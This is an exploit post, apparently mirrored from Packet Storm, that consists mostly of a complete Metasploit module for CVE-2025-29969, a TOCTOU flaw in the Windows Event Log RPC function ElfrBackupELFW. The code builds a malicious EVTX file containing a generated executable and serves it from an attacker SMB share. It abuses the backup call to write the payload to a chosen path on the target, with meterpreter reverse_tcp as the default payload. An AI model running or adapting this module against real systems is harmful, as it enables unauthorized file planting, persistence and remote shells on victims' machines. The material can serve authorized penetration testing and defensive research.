Share
## https://sploitus.com/exploit?id=PACKETSTORM:216190
=============================================================================================================================================
| # Title : MS‑EVEN TOCTOU Remote Arbitrary File Write via ElfrBackupELFW Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
=============================================================================================================================================
[+] Summary : A Time-of-Check Time-of-Use (TOCTOU) vulnerability exists in the Microsoft Event Log Remote Protocol (MS‑EVEN).
By abusing the ElfrBackupELFW RPC function, an authenticated low-privileged user can coerce the Windows Event Log service into writing arbitrary files to a chosen location on the target system.
The issue stems from improper validation and usage timing between path verification and file creation operations.
By leveraging a crafted remote SMB path and a controlled file sequence, an attacker can cause the service to write attacker‑controlled content to a local file path.
[+] Successful exploitation may result in:
Arbitrary file write on the remote Windows system
Potential privilege escalation (depending on target path)
Persistence or execution of attacker‑controlled binaries
[+] The vulnerability affects systems where the MS‑EVEN service is accessible over SMB named pipes and where valid authentication credentials are available.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
MS_EVEN_UUID = '82273fdc-e32a-18c3-3f78-827929dc23ea'
VERSIONS_TO_TRY = [
[1, 0],
[0, 0]
]
ELFR_OPEN_BEL_W = 0
ELFR_BACKUP_ELFW = 1
STATUS_SEVERITY_SUCCESS = 0x0
STATUS_SEVERITY_INFORMATIONAL = 0x1
STATUS_SEVERITY_WARNING = 0x2
STATUS_SEVERITY_ERROR = 0x3
STATUS_SUCCESS = 0x00000000
STATUS_BUFFER_OVERFLOW = 0x80000005
STATUS_NO_MORE_ENTRIES = 0x8000001A
STATUS_INVALID_HANDLE = 0xC0000008
STATUS_INVALID_PARAMETER = 0xC000000D
STATUS_ACCESS_DENIED = 0xC0000022
STATUS_OBJECT_NAME_NOT_FOUND = 0xC0000034
STATUS_OBJECT_PATH_NOT_FOUND = 0xC000003A
STATUS_BAD_NETWORK_PATH = 0xC00000BE
NDR = Rex::Encoder::NDR
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MS-EVEN TOCTOU Vulnerability (CVE-2025-29969) Remote File Write',
'Description' => %q{
This module exploits a Time-of-Check Time-of-Use (TOCTOU) vulnerability in the
MS-EVEN protocol (Windows Event Log service). A low-privileged authenticated user
can write arbitrary files to a remote Windows machine by abusing the
ElfrBackupELFW RPC function.
This module strictly follows the MS-EVEN protocol specification and uses proper
NDR pointer graph representation as defined in the official IDL.
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-29969'],
['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29969']
],
'DisclosureDate' => '2025-05-13',
'Platform' => ['win'],
'Targets' => [
[
'Windows Automatic', {
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DefaultOptions' => {
'WfsDelay' => 30,
'DCERPC::fake_bind_multi' => true,
'SMB::ProtocolVersion' => 3
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK,
SCREEN_EFFECTS
]
}
)
)
register_options([
Opt::RHOST,
Opt::RPORT(445),
OptString.new('SMBHOST', [true, 'The IP of the attacker SMB server', nil]),
OptString.new('SMBUSER', [true, 'The username to authenticate as', nil]),
OptString.new('SMBPASS', [true, 'The password for the specified username', nil]),
OptString.new('SMBDOMAIN', [false, 'The Windows domain to authenticate to', '.']),
OptString.new('VALID_EVTX', [true, 'Local path to a valid EVTX file', nil]),
OptString.new('REMOTE_PATH', [true, 'Remote path to write the payload', 'C:\\Users\\Public\\payload.exe']),
OptString.new('SHARE_NAME', [true, 'Name of the SMB share', 'Share']),
OptString.new('NAMED_PIPE', [true, 'Named pipe for EventLog service', 'eventlog'])
])
register_advanced_options([
OptBool.new('SMB3_SUPPORT', [true, 'Enable SMB3 support', true]),
OptInt.new('BIND_RETRIES', [true, 'Number of bind retries', 3]),
OptBool.new('VERIFY_WITH_SMB', [true, 'Verify file write using SMB', true]),
OptString.new('VERIFY_SHARE', [true, 'SMB share for verification', 'C$']),
OptInt.new('SMB_SHARE_WAIT', [true, 'Seconds to wait for SMB share', 30]),
OptBool.new('STRICT_NTSTATUS', [true, 'Strict NTSTATUS parsing', true])
])
end
# ==================== NDR Helpers ====================
# NDR pointer graph representation:
# typedef struct _RPC_UNICODE_STRING {
# unsigned short Length;
# unsigned short MaximumLength;
# [size_is(MaximumLength/2), length_is(Length/2)] WCHAR* Buffer;
# } RPC_UNICODE_STRING;
#
# In NDR, the representation is:
# - pointer to struct (referent_id1)
# - struct containing:
# - Length
# - MaximumLength
# - pointer to buffer (referent_id2)
# - buffer data (conformant array)
def pack_rpc_unicode_string(str)
utf16_str = "#{str}\x00".encode('UTF-16LE')
length = utf16_str.bytesize - 2
max_length = utf16_str.bytesize
length = (length + 1) & ~1 if length.odd?
max_length = (max_length + 1) & ~1 if max_length.odd?
@struct_pointer_id ||= 0x20000
@buffer_pointer_id ||= 0x30000
struct_pointer = @struct_pointer_id
buffer_pointer = @buffer_pointer_id
@struct_pointer_id += 0x1000
@buffer_pointer_id += 0x1000
outer_pointer = NDR.long(struct_pointer)
structure = NDR.short(length) +
NDR.short(max_length) +
NDR.long(buffer_pointer) # pointer to buffer
buffer_data = NDR.UnicodeConformantVaryingStringPreBuilt(utf16_str)
outer_pointer + structure + buffer_data
end
def parse_context_handle(data)
return nil if data.nil? || data.length != 20
context_handle = {
raw: data,
attributes: data[0, 4].unpack('V')[0],
uuid_data: data[4, 16]
}
return nil if context_handle[:uuid_data].bytes.all?(&:zero?)
context_handle
end
def ntstatus_severity(status)
(status >> 30) & 0x3
end
def ntstatus_is_success?(status)
return false if status.nil?
severity = ntstatus_severity(status)
severity == STATUS_SEVERITY_SUCCESS
end
def ntstatus_is_informational?(status)
return false if status.nil?
severity = ntstatus_severity(status)
severity == STATUS_SEVERITY_INFORMATIONAL
end
def ntstatus_is_warning?(status)
return false if status.nil?
severity = ntstatus_severity(status)
severity == STATUS_SEVERITY_WARNING
end
def ntstatus_is_error?(status)
return false if status.nil?
severity = ntstatus_severity(status)
severity == STATUS_SEVERITY_ERROR
end
def ntstatus_to_s(status)
case status
when STATUS_SUCCESS
"STATUS_SUCCESS"
when STATUS_BUFFER_OVERFLOW
"STATUS_BUFFER_OVERFLOW"
when STATUS_NO_MORE_ENTRIES
"STATUS_NO_MORE_ENTRIES"
when STATUS_INVALID_HANDLE
"STATUS_INVALID_HANDLE"
when STATUS_INVALID_PARAMETER
"STATUS_INVALID_PARAMETER"
when STATUS_ACCESS_DENIED
"STATUS_ACCESS_DENIED"
when STATUS_OBJECT_NAME_NOT_FOUND
"STATUS_OBJECT_NAME_NOT_FOUND"
when STATUS_OBJECT_PATH_NOT_FOUND
"STATUS_OBJECT_PATH_NOT_FOUND"
when STATUS_BAD_NETWORK_PATH
"STATUS_BAD_NETWORK_PATH"
else
"0x#{status.to_s(16)}"
end
end
def parse_open_response(stub_data)
result = { status: nil, handle: nil, error: nil }
return result if stub_data.nil? || stub_data.empty?
if stub_data.length < 24
result[:error] = "Response too short: #{stub_data.length} bytes"
return result
end
result[:status] = stub_data[0, 4].unpack('V')[0]
handle_data = stub_data[4, 20]
result[:handle] = parse_context_handle(handle_data)
if stub_data.length > 24
vprint_warning("Open response has #{stub_data.length - 24} extra bytes")
end
result
end
def parse_backup_response(stub_data)
result = { status: nil, error: nil }
if stub_data.nil? || stub_data.empty?
result[:error] = "Empty response"
return result
end
if stub_data.length < 4
result[:error] = "Response too short: #{stub_data.length} bytes"
return result
end
result[:status] = stub_data[0, 4].unpack('V')[0]
if stub_data.length > 4
vprint_warning("Backup response has #{stub_data.length - 4} extra bytes")
end
result
end
def prepare_files(valid_evtx_path, payload_data)
base_name = File.basename(valid_evtx_path, '.evtx')
timestamp = Time.now.to_i
work_dir = File.join(File.dirname(valid_evtx_path), "exploit_#{timestamp}")
Dir.mkdir(work_dir) unless Dir.exist?(work_dir)
evtx_file = File.join(work_dir, "#{base_name}.evtx")
FileUtils.cp(valid_evtx_path, evtx_file)
payload_file = File.join(work_dir, 'payload.exe')
File.binwrite(payload_file, payload_data)
malicious_evtx = File.join(work_dir, "#{base_name}.malicious.evtx")
File.open(malicious_evtx, 'wb') do |f|
f.write(payload_data)
f.write("\x00")
f.write(File.binread(evtx_file))
end
{
work_dir: work_dir,
evtx: evtx_file,
payload: payload_file,
malicious_evtx: malicious_evtx
}
end
def verify_file_with_smb(remote_path, timeout = 10)
return true unless datastore['VERIFY_WITH_SMB']
begin
unless remote_path =~ /^([A-Z]):\\(.*)/
print_warning("Cannot parse remote path: #{remote_path}")
return false
end
drive = $1
rel_path = $2.gsub('\\', '/')
share_name = "#{drive}#{datastore['VERIFY_SHARE'][1..-1] || '$'}"
vprint_status("Verifying: \\\\#{datastore['RHOST']}\\#{share_name}\\#{rel_path}")
smb = Rex::Proto::SMB::SimpleClient.new(
datastore['RHOST'],
datastore['RPORT'] == 445 ? true : false
)
begin
smb.login(
datastore['SMBDOMAIN'] || '',
datastore['SMBUSER'],
datastore['SMBPASS']
)
tree = smb.tree_connect("\\\\#{datastore['RHOST']}\\#{share_name}")
begin
Timeout.timeout(timeout) do
fid = tree.open(rel_path, 0x10000) # GENERIC_READ
if fid
tree.close(fid)
print_good("File verified: #{remote_path}")
return true
end
end
rescue Timeout::Error
vprint_error("Timeout opening file")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
if e.to_s.include?("STATUS_OBJECT_NAME_NOT_FOUND")
vprint_status("File not found")
else
vprint_error("SMB error: #{e}")
end
end
tree.disconnect
ensure
smb.disconnect
end
rescue => e
vprint_error("Verification error: #{e}")
end
false
end
def check
begin
smb_versions = []
smb_versions << 3 if datastore['SMB3_SUPPORT']
smb_versions << 2 << 1
connect(versions: smb_versions.compact)
smb_login
disconnect
VERSIONS_TO_TRY.each do |major, minor|
begin
handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np',
["\\pipe\\#{datastore['NAMED_PIPE']}"])
dcerpc_bind(handle)
dcerpc_disconnect
return CheckCode::Appears("Successfully bound with version #{major}.#{minor}")
rescue => e
next
end
end
return CheckCode::Detected('Valid credentials but RPC bind failed')
rescue Rex::Proto::SMB::Exceptions::LoginError
return CheckCode::Detected('Authentication failed')
rescue => e
return CheckCode::Safe("Connection failed: #{e}")
ensure
dcerpc_disconnect rescue nil
disconnect rescue nil
end
end
def exploit
validate_options!
print_status('Generating payload executable')
payload_exe = generate_payload_exe
print_status('Preparing exploit files')
files = prepare_files(datastore['VALID_EVTX'], payload_exe)
print_status("Files prepared in: #{files[:work_dir]}")
print_status(" Original EVTX: #{File.basename(files[:evtx])}")
print_status(" Payload: #{File.basename(files[:payload])}")
print_status(" Malicious EVTX: #{File.basename(files[:malicious_evtx])}")
print_status("SMB share required on #{datastore['SMBHOST']}:")
print_status(" Share name: #{datastore['SHARE_NAME']}")
print_status(" Directory: #{files[:work_dir]}")
print_status(" File to use: #{File.basename(files[:malicious_evtx])}")
print_status("")
print_status("Command to run:")
print_status(" impacket-smbserver -smb2support #{datastore['SHARE_NAME']} #{files[:work_dir]}")
print_status("")
wait_time = datastore['SMB_SHARE_WAIT']
if wait_time > 0
print_status("Waiting #{wait_time} seconds for SMB share...")
wait_time.times do |i|
if i % 10 == 0
print_status(" #{wait_time - i} seconds remaining...")
end
sleep(1)
end
end
max_attempts = 3
max_attempts.times do |attempt|
print_status("Exploit attempt #{attempt + 1}/#{max_attempts}")
@struct_pointer_id = 0x20000 + (attempt * 0x10000)
@buffer_pointer_id = 0x30000 + (attempt * 0x10000)
begin
result = perform_exploit(files[:malicious_evtx])
case result[:status]
when :success
print_good("Exploit succeeded on attempt #{attempt + 1}: #{result[:message]}")
if verify_file_with_smb(datastore['REMOTE_PATH'])
print_good("File write verified")
end
register_file_for_cleanup(datastore['REMOTE_PATH'])
return
when :partial
print_warning("Partial success: #{result[:message]}")
print_warning("Check manually: #{datastore['REMOTE_PATH']}")
if verify_file_with_smb(datastore['REMOTE_PATH'])
print_good("File verified despite warning!")
return
end
else
print_error("Attempt #{attempt + 1} failed: #{result[:message]}")
end
rescue => e
print_error("Attempt #{attempt + 1} error: #{e}")
vprint_error("Backtrace: #{e.backtrace.first(3).join("\n")}")
ensure
dcerpc_disconnect rescue nil
disconnect rescue nil
sleep(3) if attempt < max_attempts - 1
end
end
fail_with(Failure::Unknown, "All #{max_attempts} exploit attempts failed")
end
def validate_options!
required = ['RHOST', 'SMBHOST', 'SMBUSER', 'SMBPASS', 'VALID_EVTX', 'REMOTE_PATH']
required.each do |opt|
if datastore[opt].nil? || datastore[opt].empty?
fail_with(Failure::BadConfig, "#{opt} must be set")
end
end
unless File.exist?(datastore['VALID_EVTX'])
fail_with(Failure::BadConfig, "EVTX file not found: #{datastore['VALID_EVTX']}")
end
end
def perform_exploit(malicious_evtx_path)
result = { status: :failed, message: nil }
evtx_filename = File.basename(malicious_evtx_path)
share_path = "\\\\#{datastore['SMBHOST']}\\#{datastore['SHARE_NAME']}\\#{evtx_filename}"
remote_path = datastore['REMOTE_PATH']
print_status("SMB share path: #{share_path}")
print_status("Target remote path: #{remote_path}")
smb_versions = []
smb_versions << 3 if datastore['SMB3_SUPPORT']
smb_versions << 2 << 1
begin
connect(versions: smb_versions.compact)
smb_login
rescue => e
result[:message] = "SMB connection failed: #{e}"
return result
end
bound = false
VERSIONS_TO_TRY.each do |major, minor|
datastore['BIND_RETRIES'].times do |attempt|
begin
handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np',
["\\pipe\\#{datastore['NAMED_PIPE']}"])
dcerpc_bind(handle)
bound = true
vprint_good("Bound with version #{major}.#{minor}")
break
rescue => e
vprint_status("Bind attempt #{attempt + 1} failed: #{e}")
sleep(1)
end
end
break if bound
end
unless bound
result[:message] = 'Failed to bind to MS-EVEN interface'
return result
end
print_status("Calling ElfrOpenBELW...")
unicode_share = pack_rpc_unicode_string(share_path)
open_stub = unicode_share +
NDR.long(0x00000001) + # ELOG_READ
NDR.long(0xC0000000) # GENERIC_READ | GENERIC_WRITE
begin
open_response_raw = dcerpc_call(ELFR_OPEN_BEL_W, open_stub)
open_result = parse_open_response(open_response_raw)
rescue => e
result[:message] = "ElfrOpenBELW failed: #{e}"
return result
end
if open_result[:error]
result[:message] = "ElfrOpenBELW parse error: #{open_result[:error]}"
return result
end
if open_result[:status].nil?
result[:message] = "ElfrOpenBELW returned no status"
return result
end
unless ntstatus_is_success?(open_result[:status])
result[:message] = "ElfrOpenBELW failed: #{ntstatus_to_s(open_result[:status])}"
return result
end
if open_result[:handle].nil?
result[:message] = "ElfrOpenBELW returned no handle"
return result
end
print_good("ElfrOpenBELW succeeded")
print_status("Calling ElfrBackupELFW...")
unicode_remote = pack_rpc_unicode_string(remote_path)
backup_stub = open_result[:handle][:raw] + unicode_remote
begin
backup_response_raw = dcerpc_call(ELFR_BACKUP_ELFW, backup_stub)
backup_result = parse_backup_response(backup_response_raw)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
if e.fault == 0x6d6f6c63 # "clom" signature
result[:status] = :partial
result[:message] = "RPC fault 0x6d6f6c63 - possible TOCTOU success"
else
result[:message] = "ElfrBackupELFW RPC fault: 0x#{e.fault.to_s(16)}"
end
return result
rescue => e
result[:message] = "ElfrBackupELFW failed: #{e}"
return result
end
if backup_result[:error]
if datastore['STRICT_NTSTATUS']
result[:message] = "ElfrBackupELFW parse error: #{backup_result[:error]}"
return result
else
result[:status] = :partial
result[:message] = "ElfrBackupELFW completed with parse error - possible success"
return result
end
end
if backup_result[:status].nil?
result[:status] = :partial
result[:message] = "ElfrBackupELFW returned no status"
return result
end
if ntstatus_is_success?(backup_result[:status])
result[:status] = :success
result[:message] = ntstatus_to_s(backup_result[:status])
elsif ntstatus_is_informational?(backup_result[:status])
result[:status] = :success
result[:message] = "#{ntstatus_to_s(backup_result[:status])} (informational)"
elsif ntstatus_is_warning?(backup_result[:status])
result[:status] = :partial
result[:message] = "#{ntstatus_to_s(backup_result[:status])} (warning)"
elsif backup_result[:status] == STATUS_INVALID_HANDLE
result[:status] = :partial
result[:message] = "#{ntstatus_to_s(backup_result[:status])} - possible TOCTOU success"
else
result[:message] = "ElfrBackupELFW failed: #{ntstatus_to_s(backup_result[:status])}"
end
result
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================